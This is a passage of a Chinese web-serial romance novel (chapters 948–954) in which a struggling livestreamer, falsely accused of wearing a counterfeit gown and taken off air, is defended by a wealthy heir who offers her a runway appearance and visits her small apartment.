李明义更是忍都不忍了。 {我查了,你跟温栩栩同一个直播间,温栩栩被关播这件事最好跟你没有关系,否则你也等着呗封号吧!呵,你根本不知道你惹到的是什么人!} 李明义留下这句话就跟一群二代退出馨雅的直播间,馨雅心里一阵发毛,总觉得有点慌。 但她又觉得这群二代应该不会真的那么闲得慌为了一个小透明出面吧。 FM直播平台经理接到了十几通电话,都是帝城圈子里面的少爷打电话质问为什么封了温栩栩是直播间。 经理根本不知道温栩栩是谁,但能让这么多少爷都在意的那肯定不是一般人,心里都开始骂今晚的审核给自己添大麻烦了! 黎云笙在看黎氏最近的一个合作案,他现在上了大学就已经开始逐渐接手家中的企业,所以并不像其他人只意味玩乐。 倒是韩城给他分享了直播间后,开始冲他叭叭一直发微信,跟现场直播一样。 黎云笙一句都没回。 韩城那边似乎是忍不住了,直接开始电话骚扰。 在韩城打了第五通电话后黎云笙终于看完了这次的文件,淡淡问道:“出了什么事,这么大费周章的一定要给我打电话。” “出事儿了!你老婆出事儿了!你老婆直播间被封了!”韩城嚷嚷。 虽然温栩栩解释了跟黎云笙没孩子,但韩城就是觉得这俩好像是一对儿,嘴一快就说是他老婆。 黎云笙眼皮一跳:“我单身未婚。” “你怎么这么冷酷无情的!你明明知道我说谁!你老婆被人欺负辱骂关直播间你还这么冷漠!是不是男人啊!”韩城骂骂咧咧。 黎云笙淡淡道:“说重点。” 韩城把前因后果全叭叭了一遍,把温栩栩这小透明主播说成了谁都能欺负的小可怜。 黎云笙轻微皱眉:“我会联系直播间管理人员让他们给我个交代。” …… FM直播经理十分钟后收到了自己顶头大BOSS的电话,接了电话劈头盖脸就是一顿骂。 “你疯了吗你去招惹黎云笙的女人还敢去封她直播间!赶紧解封啊!” 经理委屈的想哭。 冤枉啊!温栩栩的直播间真不是他封的啊! 温栩栩到底是谁啊!这么大的来头! 有没有人管管了!是资源咖为什么不早点打声招呼啊! 第949章 温栩栩是哪儿来的祖宗啊 圈子里哪有什么蠢货,个顶个的人精,真要知道谁背后有资本,怎么可能不捧着点哄着点的? 温栩栩这人名字之前他都没听过,谁知道今晚上那么多二代打电话投诉啊! 还都是帝城那裙子癫货吗。 没一个好糊弄的,甚至有人直接张口说你凭什么封我嫂子直播间。 救命,温栩栩是跟你哪个哥在一起了,这话可不能乱说啊! 经理欲哭无泪的解释:“赵总,直播间真不是我封的,我管着这么多直播间,哪有时间全都盯着啊,要不您问问温栩栩经纪人那边,看看怎么回事儿?是不是温栩栩那边掉线了,也可能是网不好呢。” “我不管她是网不好还是掉线了,又或者就是你这边出了漏洞!这件事你必须给我处理好!那一群二代真找上门来全都要完蛋!赶紧处理好这件事!” 经理听着那边电话被挂断了整个人也是彻底慌了神。 温栩栩到底是哪儿来的祖宗啊! 经理赶紧去排查,最后查来查去查到了温栩栩经纪人王明洋身上。 切掉温栩栩直播的那位管理员就是收到了王明洋的信息才断了温栩栩直播。 王明洋有病吗? 温栩栩是他带着的人,怎么还欺负上自己签的人去给别人做人情了! 经理觉得王明洋是个蠢货。 王明洋可不知道自己被人骂了,这会儿他已经赶到温栩栩住的小公寓,气愤的不停敲门,温栩栩被吵的皱眉,但根本没打算给他开门。 王明洋就在门口破口大骂,温栩栩压根不理,管他骂什么黑的白的黄的绿的,一概不接,带着耳机听音乐。 王明洋骂了十几分钟温栩栩都没回应,他也实在是骂累了,整个人坐在门口整个人有点气喘吁吁的,看着还想继续骂。 下一秒电话就切进来了。 是直播平台的经理,王明洋早就存了对方的电话,只是自己身份不够格,所以跟这位没什么交集。 王明洋还当对方因为温栩栩的事情打电话来辱骂自己的,也不敢耽搁,就算真的是辱骂电话,那自己也只能受着了。 王明洋咬了咬牙接听了电话。 “王经纪人是吗。”经理深吸了一口气,语气中带着点难言的沉重。 “我记得温栩栩是你带的人,你为什么要切断温栩栩的直播间。” 这事儿肯定要问清楚,起码要知道什么原因,温栩栩现在是有了后台了,如果这王明洋真的是个蠢货,那他就能卖个人情把王明洋换掉,给温栩栩换了别的经纪人,也算是讨好温栩栩了。 王明洋显然没想到经理似乎是为温栩栩讨公道的,他干笑一声:“平台的大主播馨雅同时在开播,她们穿的衣服是一样的,据说是只有一件那颜色的礼服,馨雅是大主播又是白富美,怎么会穿盗版礼裙,我这不光是为了馨雅也是为了栩栩,实在是没办法了。” “现在栩栩还是个小透明主播,这事儿真闹大了就不好收场了。” 王明洋解释的认真,显得他整个人很无辜似的。 经理不是傻子,一听就知道王明洋怎么打算的,这明摆着就是馨雅那边联系他,他觉得馨雅是大主播,不敢得罪,担心以后被穿小鞋,所以才完全想着馨雅设计了自己的艺人。 如果这次温栩栩直播间没有那么多二代,身后也没其他人,那王明洋做的其实是没错的,肯定是要保大主播牺牲小主播。 但问题是,温栩栩现在可能有金主了,那么多二代都捧着她,可以猜测到她背后那人势力了不得。 所以王明洋算是做错了件大事。 一般情况下,这样的祖宗都是要供起来的。 因为她们自带金主,不管播什么都有人砸钱,说不定幕后的人还能笼络到她们的金主,可以说是一举两得。 经理觉得王明洋确实是个蠢货,正常情况下盯着自己艺人直播的时候难道没看到艺人的衣服是名牌吗?没有拦着没发现不对就是出了纰漏。 这就算了,再开始直播后,直播间那么多大佬二代也没发现。 这要不是真的背后有人,谁会给你直接几十万几十万的打赏?也就只有那些纨绔子弟才能被刺激后就这么激动到疯狂的撒钱。 有钱人都认不出来,这就是十足的蠢货。 得罪自己艺人,得罪纨绔二代,说不定还得罪艺人背后的金主,还得罪了他们直播平台。 王明洋真是凭借一己之力把能得罪的都得罪了。 经理知道王明洋大概是没救了,他也没想着救王明洋,王明洋自己不清楚温栩栩是个香饽饽,他可以暗地里尽快给温栩栩把王明洋换掉,然后换自己亲戚跟着温栩栩。 聪明人就该知道抱大腿才是捷径。 经理也没跟他提温栩栩背后的人可能是圈子里的大人物,只意味不明的笑了声,然后挂了电话,惹得王明洋一头雾水,只觉得这经理脑子有问题。 殊不知他自己也被经理认为是脑子有问题的那一类人了。 温栩栩还在玩自己的吉他。 她其实一点也不着急,她不是蠢人,在有人脉的时候不用人脉那是多愚蠢的人才做出来的事? 她不着急,封她一天直播她就能去找韩城,韩二少的面子够大了。 她不是没考虑清楚就把韩城搬出来的,她敢搬韩城全因为记忆里面韩城对她确实是很好,那段时间装男人的时候韩城没少给她好处。 喜欢的手机,绝对要给她另买一个,温栩栩想弹吉他弹钢琴,韩城就专门找人重金定做,知道她要开播就给人准备调试好装备。 就算知道温栩栩是女人,韩城也没多生气,唯一生气的点在于担心温栩栩跟黎云笙关系更好忘了他。 这点还只能看作是韩城吃了他们之间友情的醋,也不知道是吃黎云笙的醋还是吃温栩栩的醋,挺有意思的。 就因为这位少爷清纯不做作,所以温栩栩才打算让这位韩二少出马帮自己一把。 她是觉得韩城应该是很乐意的。 第950章 要下楼见一见你老公吗 就像温栩栩想的那样,韩城确实乐意,韩城真要知道温栩栩打算让他帮忙而不是请黎云笙帮忙估计要乐死。 他甚至觉得在温栩栩心里自己是比黎云笙更重要的,所以只会越得意,压根不觉得温栩栩这是利用,说白了少爷就没长那根筋啊!要不韩越说他蠢,整天都说他没救了,那都是有原因的。 温栩栩在调试吉他,心情美丽的弹吉他,手机还在不停震动,她以为还是自己那位烦人的经纪人打来的,根本懒得接,等弹完了一首曲子,才扫了一眼,然后看到了一串号码。 一串很好记……一看就不是普通人才会有的号码。 嗯……怎么说呢,就很震撼。 她唇角抽了抽,猜了下。 不会吧不会吧不会把。 不会是黎云笙的号码吧! 女人的第六感告诉她着串电话号码是黎云笙打来的。 她缓了片刻,最后还是接听了。 “直播的事,怎么回事。” 那边传来的果然是黎云笙的声音。 温栩栩内心轻叹一口气,觉得自己现在真是躲不过去了,有点惨是怎么回事。 她为自己抹了把辛酸泪:“黎少怎么会知道这种事的……这就是小事。” 黎云笙不咸不淡道:“你认为是小事?” “难道……不是小事?”温栩栩都产生自我怀疑了。 “那群二世祖在群里鬼哭狼嚎说我老婆被人欺负了,让我去救他们嫂子,韩城特地打电话来辱骂了我快二十分钟,说我是没良心的渣男,对自己的老婆不管不顾。” “温小姐,请问你还觉得这是小事吗。” 温栩栩:“……” 温栩栩震惊,并想辱骂那群人。 怎么回事啊这群二世祖!你们真的很闲啊!这么闲多读点书啊!不然也不会被她几句谎话忽悠到现在还在信!蠢成这样不就是让人骗财骗色的吗! 特别是韩城! 她都已经澄清很多次了!救命,真的救命好吗! 温栩栩沉默了很久,像是哑口无言,又像是真的不知道说点什么的尴尬,尴尬到自己在吉他上弹出了几个音。 仔细听恍惚的还能听到那吉他音仿佛在说:“好烦啊好烦啊” 黎云笙捏了捏眉心,他缓了下开口:“温栩栩,他们质疑你穿了星黛儿的盗版礼服是吗。” 温栩栩有气无力的唔了一声。 “是这样没错。” “可这衣服明明就是黎少送我的啊,你都穿盗版的话,这世界上就没有穿正版的人了吧……” 温栩栩暗搓搓,其实就是在暗示都是他惹来的祸事。 黎云笙当自己没听出来她画外音,他声音仍然平淡。 “你多高。”黎云笙问。 温栩栩想了下:“大概接近170厘米?黎少问这个做什么。” “有兴趣做模特吗,星黛儿的模特。” “明天上午十点,帝城林岚大道艺术展厅,星黛儿会举办最近新一季礼服的秀场,如果你明天有时间,可以参加这场秀,穿上星黛儿最新款的礼服,也可以在最后换上这件限量款的紫色礼裙,就在星黛儿秀场换上这件礼服。” 黎云笙嗓音仍然冷漠无情吗,仿佛根本不知道他自己说的这件事会造成多大的轰动。 最起码……那位馨雅主播的脸是绝对会被打肿了。 黎云笙这么做的目的也太简单了,馨雅污蔑温栩栩穿的是盗版礼裙,那黎云笙就让温栩栩去参加星黛儿的走秀,如果温栩栩穿的是盗版,星黛儿不可能跟温栩栩合作,更不要说让温栩栩在现场换上那件紫色的礼服裙,穿在星黛儿现场的只能是正品,那谁身上的事仿品绝对的一目了然。 太坏了,真的太坏了。 但偏偏全都是为她考虑的。 温栩栩觉得此刻心跳好像都跟着慢了半拍。 “黎少……为什么要替我出头。”她实在想不明白黎云笙这样做的目的。 她跟黎云笙之间真的没什么羁绊,黎云笙为什么还肯这样帮自己,这太不正常了。 “你说的,裙子是我送的,这件事总要给你个交代。”黎云笙嗓音淡淡的,却给了温栩栩无穷的勇气。 她声音带着点笑意:“真的只是这样?” 不知道怎么回事,温栩栩这会儿就是有点像调戏他,所以语调都有点微微上扬,带着些许调侃之意。 “难道不是因为想为你的老婆讨公道吗?” 温栩栩笑眯眯。 这种事只要她不尴尬,那尴尬的就一定会是黎云笙。 嗯,爽了。 黎云笙像是很轻的笑了一声,他嗓音低沉,笑起来的时候苏苏的,笑声透过手机电流般窜进温栩栩耳膜。那一瞬,温栩栩仿佛被无形的电流击中,指尖发麻,连呼吸都滞住了。 这男人分明在故意散发魅力,故意的尾音上挑,像是羽毛扫过心尖,又似暗夜里蛰伏的兽悄然伸出利爪,漫不经心却精准地勾住了她的神经。 绝对是在故意的散发魅力! 她下意识握紧手机,指节发白。 掌心渗出的薄汗让金属外壳微微发黏,耳边是他含笑的声音:“那么,黎太太要下楼见一见你的……老公吗?” 最后一个词被他刻意拖长,尾音裹着暧昧的钩子,像是悬在夜空的星,明明遥不可及,却引诱人伸手去摘。 很难想象,这是黎云笙说出口的话,那么个冷面神一样的男人,能说出这种带着挑逗意味儿的话。 黎云笙……他被夺舍了吧! 温栩栩:“……” 温栩栩整个人目光呆滞,仿佛变成了木头。 她感觉灵魂被劈成了两半——一半在尖叫着“他在开玩笑吧”,另一半却不受控地沉醉于那声“黎太太”里。 这称呼从他口中说出来,带着奇异的郑重与缠绵,像融化的黑巧克力,粘稠地裹住心脏。 她自己也不知道为什么,对于黎云笙,自己就好像会刻意的认为自己跟他是该很亲近的。 但明明不该这样的。 太奇怪了! 她此刻整张脸都在烧,脸通红通红的。 什么啊!黎云笙在说什么啊! 怎么这种调戏的话就从这个冰山男人嘴里说出来了,他到底知不知道他自己在说什么啊! 第951章 毕竟你看起来真的很好睡 温栩栩慌乱地想要找借口,却发现自己连最简单的句子都组织不起来。 她像只受惊的兔子般丢掉怀里的吉他,木质琴身撞在沙发上发出闷响。 手忙脚乱间险些被地毯边缘绊倒,踉跄着扑向窗边时,发丝散乱地垂在肩头,有几缕甚至缠住了锁骨,却顾不上整理。 温栩栩终于跌跌撞撞抵住窗棂,她住的楼层不高,透过朦胧的玻璃能看见楼下停着辆黑色劳斯莱斯。 车身泛着冷冽的光泽,仿佛与他的人一样,总是带着拒人千里之外的寒意。 此刻,黎云笙正斜倚在车边讲电话,黑色衬衫领口随意敞开,袖口卷至小臂,露出精瘦却线条分明的手腕。 他垂着眼睫,长而密的睫毛在眼下投下小片阴影,周身气质却与这慵懒姿态截然相反。 他整个人就像把出鞘的刀,锋芒内敛,却带着随时能割裂空气的狠戾,身上那股危险的气息实在明显。 似乎是注意到她惶然投来的目光,他突然抬头。 四目相对的刹那,温栩栩觉得那道目光像激光般精准地锁住了她。 他漆黑的瞳孔里映着小小的她,嘴角弧度未变。 只是四目相对,温栩栩就觉得整个人再次被无形的电流贯穿,从指尖窜到发梢,连毛孔都在战栗。 自己好像又一次被电到了。 “所以,要下来吗,黎太太。”黎云笙又来了一句。 救命! 黎云笙这就是在报复自己今天早上在他家里面调戏过他那一茬是不是! 太过分了啊,这男人怎么这么小肚鸡肠啊,他是睚眦吗!一点小仇都要报复回来,太可恶了。 “黎少,你别开玩笑了……”温栩栩咬了咬唇,唇珠被牙齿压出浅浅的印子:“我觉得你可能就是单纯的想睡我,你是不是想包我。” 温栩栩屏住呼吸,却听见那边传来一声轻笑,低低的,带着胸腔共振的质感。 黎云笙扬眉,眼尾挑起的弧度危险又惑人似是没考虑过这个问题,好像费神的想了片刻:“大概是有这可能,抱歉,毕竟你看起来真的很好睡。” 温栩栩:“……” 那真是谢谢你这离谱的评价了。 很好睡……到底是什么奇奇怪怪的评价啊! “不过包养费太贵,我付不起。”他轻笑一声,指尖轻敲车身:“因为温小姐好像真的很喜欢恶作剧。” 温栩栩身体更僵硬了。 什么啊,她哪有很喜欢恶作剧! 温栩栩不服反抗。 黎云笙嗯了一声:“好,你也不是很喜欢恶作剧,也不过就是对着那些纨绔们说怀了我的孩子是我的女人让整个圈子都认为我有了个老婆叫温栩栩,还多了会说话的孩子叫黎星夜,嗯,干得漂亮。” 温栩栩:“……” 无法反驳。 说到底还是黎少脾气太好了。 温栩栩委屈:“对不起,我下次再也不造你黄谣了!” 黎云笙又恢复了平日里的冷淡模样:“所以明天的星黛儿的时装秀你会参加吗?如果决定参加那现在就下楼,我带你临时练一下台步,以免你想打脸最后却因为不会走台步出大丑。” 温栩栩:“……” “我觉得我好像被看扁了。” 黎云笙点头:“是这样没错。” 温栩栩指尖点了点窗户,发出“哒哒”的声响,她说:“你好像在嘲讽我。” 黎云笙又点头回应:“对。” 为什么还对! 就不能不开嘲讽吗! 温栩栩有点蔫蔫儿的丧丧的:“我现在没办法下去,我门口有个神经病一直在敲门骂人,黎少可以上来接我吗。” 到最后温栩栩还是开口了。 王明洋已经在门口骂很久了,大概是黎云笙打电话的时间王明洋是中场休息,所以黎云笙才没有听到王明洋那些脏话。 不过温栩栩说的这些足够让黎云笙皱眉了。 “这种事为什么现在才说。”他声音带着点冷。 温栩栩歪头叹气:“我哪里知道你后面会跟我讲这么久还要跟我调情呢,浪费了蛮多时间的。” 黎云笙唇角抽了下:“好了,闭嘴,我这就上去。” 他根本没问温栩栩是几楼几号,显然是早就已经查到了。 黎云笙踏出电梯的刹那,金属门映出一抹刺眼的白光。 走廊里寂静无声,唯有沉闷的踹门声在回荡。 一个矮胖的男人正弓着腰,皮鞋重重踢在面前的实木门上。 男人脖颈青筋暴起,唾沫星子随着咒骂飞溅:“温栩栩你这个贱人!开门!今天的事情你不给我解释清楚你就别想休息!给我把门打开!” 王明洋中场休息够了,现在又开始发疯了。 他骂着脏话,手指抠进门缝试图强行掰开,指甲缝里嵌着灰白的污垢。 走廊尽头传来脚步声,他头也不回,只顾着发泄满腔怒火,直到身后传来一阵凌厉的风声。 黎云笙身后的保镖如黑影般掠出,一左一右钳住王明洋的肩膀。 王明洋甚至没来得及反应,便被狠狠摁倒在地。 瓷砖地面冰凉的触感穿透衬衫,膝盖骨撞出钝痛,可他嘴里仍骂骂咧咧:“我靠你们谁啊!信不信我报警啊!” 王明洋喉咙里挤出嘶哑的威胁,直到抬头撞进那双眼睛。 黎云笙垂眸俯视,眉骨锋利如刀,瞳孔深处凝着寒霜。 他腕间银色的江诗丹顿在走廊顶灯下流转冷光。 王明洋的瞳孔骤然收缩,呼吸卡在喉间。 戴着这样的手表身边还配备保镖……这别是温栩栩勾搭上的金主。 王明洋的脑子嗡的一声。 眼前这个男人年轻得过分,面容俊美却带着久居上位的威压。 王明洋的喉咙发紧,连痛呼都哽在喉头。 下一秒,黎云笙的皮鞋尖抵住他下颌,力道轻得像碾死蚂蚁的警告。 “滚。”声音低缓如冰刃,王明洋浑身僵直,冷汗浸透后背。 他连滚带爬起身,踉跄逃向楼梯间,皮鞋在地面拖出狼狈的痕迹。 王明洋心里想了太多事,他想到了今天温栩栩穿的那件紫色的礼服裙,那件礼服……别是这男人送的! 如果真的是温栩栩金主送的,那温栩栩的衣服才是正版!馨雅的才是盗版! 温栩栩有了金主,她却还故意断了温栩栩的直播。 他都干了些什么蠢事啊! 第952章 不请我进去坐坐? 门口的动静温栩栩听到了,打开门就看到黎云笙,整个人都带着点无措感。 夜色裹挟着初夏湿润的微风扑面而来。 廊灯在黎云笙身后晕染出一圈暖黄光晕,将他整个人笼在朦胧的光影里。 她整个人僵在原地,指尖无意识地攥紧了裙摆,那件紫罗兰色的礼服裙在灯光下泛着丝绸特有的细腻光泽,像是揉碎的星辰坠落在她身上。 黎云笙目光落在她身上,她还穿着那件紫色的礼服裙,脚上的高跟鞋跟这件礼裙是配套的,搭配银色的高跟鞋,整个人透着一股说不清道不明的韵味,像是被月光浸透的紫藤,又似雪中初绽的梅,清冷与妖娆在骨血里交织纠缠,矛盾却和谐得惊心动魄。 她真的是长了一张很出挑的漂亮面容,是任谁看到都会夸一句的那种。 明明脸蛋有点偏圆,眼睛瞪圆了,可以装出一副憨憨的单纯模样,可只要放松勾起唇角,眼尾微微上挑便会自带了几分妖娆感。 很矛盾的相貌,却意外的勾人。 黎云笙此刻已经忘记最初的温栩栩是什么样子了。 那时的温栩栩好像有些唯唯诺诺的,一直跟在韩城身后,装男人其实装的并不太像,但骗过了那群二世祖,没少被人嘲讽女气,黎云笙没管,他自认跟自己无关,所以不去插手。 一方面没把她放心上,另一方面是觉得,她既然想要挤进这圈子,那势必要付出点什么。 想进二代圈子,进入一个本不属于自己的阶层,总要被碾碎几块骨头才算入门。 可此刻的她却像破茧的蝶,礼服裙贴合的腰线在呼吸间起伏,锁骨处的肌肤泛着珍珠般的光泽。 她不再是那个瑟缩的跟在韩城身后的影子,而是鲜活地站在这里,连廊灯的光晕都成了她的陪衬。 黎云笙忽然想起昨夜,那间包厢中有人醉醺醺地夸赞她"媚眼如丝"。 确实是这样,一举一动都带着媚意。 现在的温栩栩好像褪去了伪装,整个人变得逐渐真实起来。 面前的人其实是很引人注目的。 最起码,温栩栩所在的地方,他会忍不住看向温栩栩,然后移不开目光。 就像现在。 他有点控制不住自己此刻的内心,他不知道为什么会出现这种变化,但最起码……他好像是愿意接近温栩栩的。 跟她接触他不会觉得抵触,这就很难得了。 大概是因为温栩栩开了那样的玩笑,让圈子里的人都认为温栩栩是他的人,他们已经完全绑定,所以才会让他下意识的将温栩栩化进自己的圈子。 猛兽对自己的圈养的猎物是有占有欲的。 他是这样想的,也觉得这是正确的。 他对温栩栩,大概就是猛兽发现了一只可以随时入口吞之入腹却又好玩的猎物,所以在逗弄。 黎云笙眸光深了几分,他没有主动进去,视线由上到下扫视她片刻,淡淡道:“给你解决了个小麻烦,不请我进去坐坐?” 黎少还是很有原则的。 你不请我我不会进去。 温栩栩卡壳了一瞬,似是有些为难的看着他,突然像是想到了什么,然后猛地关上了门。 黎云笙:“……” 跟在他身后的几名保镖摸了摸鼻子后退几步。 温栩栩却在房间内火速收拾着。 怎么会这么乱! 温栩栩记起来自己是之前打算挑选直播的衣服所以翻箱倒柜还没来得及收拾,谁能知道黎云笙这个时间会来。 算了,收拾不干净,干脆不收拾了! 温栩栩感觉有点丢脸,但还是缓了一会儿重新打开门。 黎云笙低头扫了眼时间,不咸不淡道:“你让我等了三分四十八秒。” 温栩栩:“……” 真的有必要严谨成这样?强迫症吗? 温栩栩为难的看着他:“我的房间有一点点乱。” 她这样为难,黎云笙更好奇了,到底是乱成才能让温栩栩着急称这样。 温栩栩摸摸鼻尖,让开点位置请这位大少爷进门。 房间很小,目测不过二十平米,墙纸是蓝黄为主,是很小女生的颜色,床上堆了不少衣服,但最显眼的是堆满衣服的沙发,各色布料纠缠成一团彩色的漩涡,牛仔外套、短款衬衫、几条丝巾随意地搭在上面,甚至有几双高跟鞋卡在沙发缝里。 茶几上散落着翻到一半的表演专业书籍,纸页间夹着写满速记的便利贴,是温栩栩写下的批注。 黎云笙踏入这方逼仄天地时,整个人仿佛自带消音效果。 他颀长的身形在低矮的天花板下显得过分醒目,昂贵的定制西装与周遭的凌乱形成割裂般的对比。 他需要微微低头才能避免撞到凸起的空调管。 终于,他在沙发前停驻。 那堆衣服山显然没有给他留下太多座位,黎云笙修长的手指挑起一件针织衫扔到地上,动作优雅得像在整理拍卖行的藏品。 温栩栩慌忙去捡那件被他“驱逐”的衣服,耳尖泛红:“那个、我待会儿就收拾……” 话音未落,黎云笙已坐下,西装裤料被沙发上的勾住,他顿了下,低头看了眼勾住西装裤的东西。 粉色的、蕾丝的……很小块的布料。 是她的胸衣,还是绑带款。 他觉得喉间有点发堵,温栩栩整个人的脸已经红透了,冲过来抢走他手上的东西,可手上捧着这东西就觉得手都有些发烫了。 救命。 她当时真的不该让黎云笙进门的啊! 太丢脸了! 温栩栩觉得此刻自己无地自容。 黎云笙似乎也是有点热的,片刻后,他嗓音里藏着未散尽的沙哑打破寂静,“你房间,倒是挺有……生活气息。” 指尖无意识地摩挲着西装内衬,仿佛要抚平那突如其来的心悸。 温栩栩的头几乎要埋进膝盖,滚烫的耳尖却敏锐捕捉到他话里的调侃。 她胡乱应道:“嗯……平时、平时比较忙……” 话尾渐弱,连自己都觉得这借口苍白。 那堆未整理的衣物山此刻像座审判台,无声控诉着她混乱的生活状态。 “其实也没有很乱吧……就是在整理那堆衣服,房间很小,我的东西又太多,每次找东西都会翻箱倒柜。”温栩栩在自己找借口。 其实也确实是这个原因。 “需要我给你换个住处吗。”男人目光平静的看她。 第953章 黎少,我很穷的 黎云笙语气平淡,好像送房子是一件稀松平常的事。 温栩栩整个人都好像傻了。 “你们有钱人……张口就送房子的吗?” 这可是帝城,华国房价数一数二的城市,一套房子价格顶二三线城市三四套甚至更多套房子的价格,一点也不夸张。 黎云笙淡定开口:“目前还没送过。” 温栩栩也不知道是哪里蹦出来的勇气跟着问了句:“那你是真的想包我?” 在狭小的出租公寓里面谈包不包的问题,实在是有点诡异。 “我包,温小姐肯吗?” 他看着很绅士,完全没有逼迫温栩栩的意思,好像自己问出口的并不是包不包的问题,而是单纯的问你吃没吃晚饭那样平静。 这种话题竟然就这样直接的提出来了。 温栩栩有一瞬间在猜测不正常的人好像是自己了。 “温小姐的回答呢。”黎云笙突然倾身,温栩栩惊得往后缩,脊背抵上冰冷的墙壁。 他修长的手指捏起沙发缝里的一根银色发丝,那是是她的?看着发质不像是温栩栩的。 “温小姐,”他低笑,气息喷洒在她发烫的耳畔,“你这头发,是故意染的,还是……?”尾音拖长,带着危险的试探。 温栩栩顿了下,蹲下身拽出了装着假发的箱子,然后当着他的面戴上了假发。 “假发,去夜店驻唱兼职的时候戴的。”她解释了句。 黎云笙看着面前戴上银色假发的少女,好像更惹眼了。 这样的颜色挑人,偏偏她肌肤白的耀眼,站在灯光下,加上那一头的银发,显得整个人愈发惊艳。 像是电视上该C位出道的女爱豆。 他突然觉得圈子里最漂亮的女爱豆好像也不及她半分。 “做过很多兼职?”他问。 温栩栩点头。 他又有些想笑,也不知道想笑什么,但好像就是觉得有趣。 甚少有人能让他这么有兴致。 “都做过什么兼职?”他总想知道的更多一些。 温栩栩见他好奇,也没觉得这有什么可瞒着人的,绞尽脑汁想了下回复他。 “宫斗剧里面当过龙套……” 黎云笙扬眉:“什么角色?” 温栩栩摸摸鼻子似乎是觉得有点丢脸:“被皇帝打入冷宫已经疯掉的妃子,嗯……出场就是披头散发转圈圈,然后发疯一样的喊‘皇上,皇上您终于来看臣妾了’,第二次出场就直接投井了……两场戏拍完领了三百块,正常情况下龙套一天都只给两百的,不过导演说我漂亮多给了我一百,还塞了几盒盒饭给我。” “你收了?”黎云笙问。 “钱是我辛苦挣的我肯定收的呀。”温栩栩眼睛都跟着瞪大了,“我说了那么多句脑残台词我不值这个钱吗!” “我不是问这个。”黎云笙失笑:“我是问那些盒饭。” 温栩栩愣了下:“为什么不收?” 这就是他们之间的差距了,黎云笙大概会认为盒饭这种东西不值几个钱不需要收,但对温栩栩来说,这些剩下来的盒饭也可以省一笔钱。 “那些盒饭带回来放不了多久,会坏。”黎云笙解释。 “可我房间里面有小冰箱,虽然冷冻层很小,但可以放几份饭,冷藏那边也可以放的。”温栩栩有点执拗。 “冷冻过后的蔬菜会丢失很多营养成分,比不过新鲜蔬菜。” 温栩栩眨眨眼,突然就笑了。 “黎少,我很穷的。” 她指了指小房间里面的衣服,然后从沙发上捡起一件衬衫:“这件衬衫,十九块九一件,我三年前买的,我还在穿。” “这件牛仔衣,价值三十九块九,我穿了五年。” “这几件内搭,最贵的一件三十九块九,最便宜的一件只要五块九。” “但这些衣服我都没有丢掉,我很穷,所以我很少买衣服,买回来的衣服我都不会丢,因为我买不起很多衣服。” “我本来决定考表演,可在艺考当天……很巧的出了个小车祸伤到了脚踝,我没有钱支撑我再考一次,我没有亲人没有朋友,我无依无靠。” “可我想站到舞台上,我想跳舞我想唱歌我想演戏……所以我留在了帝城,因为在这里我能有很多机会。” “帝城的房租太贵了,帝城的物价太高了,可我没有很好的机会,我在剧组轮流跑龙套,但没有人肯给我一个角色,哪怕是多几句台词也没有人用我,没有戏的时候我就会去夜店驻唱,我靠着这些年在帝城租了这套小公寓,可我存不下钱,吃需要钱,住需要钱,打车需要钱,化妆品需要钱,人情世故需要钱……所以我很穷很穷。” “他给我的那几分盒饭我都带回了家,我吃了五天,我吃的很满足。” “那些盒饭有西红柿炒蛋,有红烧肉,有手撕包菜,有不正宗的麻婆豆腐,还有酸豆角……我现在都记得,我不觉得难吃,我觉得味道很好,它们让我撑了五天省了五天的饭钱。” “所以我会收下导演给我的那几份盒饭。” “他知道我很穷,知道我需要伯乐,可他没办法用我,所以他把盒饭送给我,并委婉的让我换个方向,这是我在圈内感受到的为数不多的善意了。” 温栩栩长得好吗? 当然是好的,她相貌好性子好态度好,其实正常情况下没有导演不喜欢她,如果运气好是能碰到导演给她几场戏,或者推荐经纪人。 但她运气不好,没有遇到那些人。 她的运气一直不好,考试遇到车祸,跑龙套被嘲讽十八线都算不上,酒吧驻唱会被人骚扰……所以那位导演对温栩栩来说真的是很好很好的人。 对方告诉温栩栩,圈子里有资本不喜欢她,不会允许她进入娱乐圈,让她换一条路。 她那时就懂了,不是导演们不喜欢她不给她戏拍,而是导演们不能喜欢她,不能给她戏拍。 于是她换了条路,她签了直播约,可对方没有给过她推荐,对方让她一再的降低底线,让她穿着暴露的跳擦边舞。 她不同意所以一直被冷藏。 可即便如此也需要每天播够四个小时,否则就是违约需要赔付违约金。 她只能这样逼着自己每天直播,然后拿微博的底薪。 第954章 你一直这么抽象吗 她为什么会攀附上韩城? 因为发现了不对。 因为她发现自己不论怎么努力,那条路都会被人堵住,那人不让她发光,让她只能成为泯然众人的石头。 对方是谁她不知道,但她清楚能打败对方的只能是更强大的资本势力。 于是她盯上了韩城。 韩城市圈子里比较好接近的能靠近黎云笙的二代,她的目标从头到尾都是黎云笙。 她好像到了现在才终于明白了自己之前所遭遇的一切,以及清楚了自己为什么要攀附韩城和黎云笙。 就是逼不得已。 黎云笙整个人顿住,他确实不知道温栩栩经历过这些。 此刻他不觉得温栩栩好笑了,他觉得自己好笑。 他问的那句话就好像是何不食肉糜的现代版。 他能从温栩栩的话语中察觉到些许不对,她应该是被什么人做局,完全堵住了她那几条路。 “抱歉,是我的问题。” 黎云笙开口,两人之间的气氛此刻好像陷入了僵局。 温栩栩当然只能摇了摇头。 她怎么能生气呢,黎云笙是黎家已经内定的下一任继承人,他们的出身不同,黎云笙一块手表大概是她的一辈子,所以她不能让对方完全共情自己。 没有过类似的相同经历是无法共情的。 但……让黎云笙当个穷人吗?那就更可笑了。 黎家是国内有名的资本,以后黎家会如何她不知道,但现在黎云笙有生之年黎氏是绝对不会垮的。 “所以,温小姐现在可以回答我的问题了吗。” 黎云笙又一次开口,指尖在桌子边缘轻叩两下,声音带着不容拒绝的笃定。暖黄的吊灯在他身后投下柔和的光晕,却衬得他眼底的幽深愈发明显。 温栩栩恍惚了,此刻已经忘记之前跟黎云笙到底是聊到哪里了。 黎云笙提醒:“温小姐愿意被我包吗。” 温栩栩愣了。 她耳畔似乎还回响着方才两人关于“包养”话题的拉扯。 那些试探与回避的交锋像缠在一起的丝线,在她脑子里乱糟糟地打着转。 直到此刻黎云笙再度抛出那个问题。 “温小姐愿意被我包吗?”她方才猛地惊醒,睫毛颤了颤,像是突然抓到了某个荒唐的支点。 温栩栩默了片刻,再抬头的时候语气有点坚定:“我选择……菠萝包。” 她抬眸时眼底闪着狡黠的光,语气坚定得仿佛在说一个经过深思熟虑的答案。 黎云笙:“……” 话音落下的瞬间,空气凝滞了三秒。 黎云笙的指尖停在半空,喉间溢出一声意味不明的轻笑,眉峰微挑。 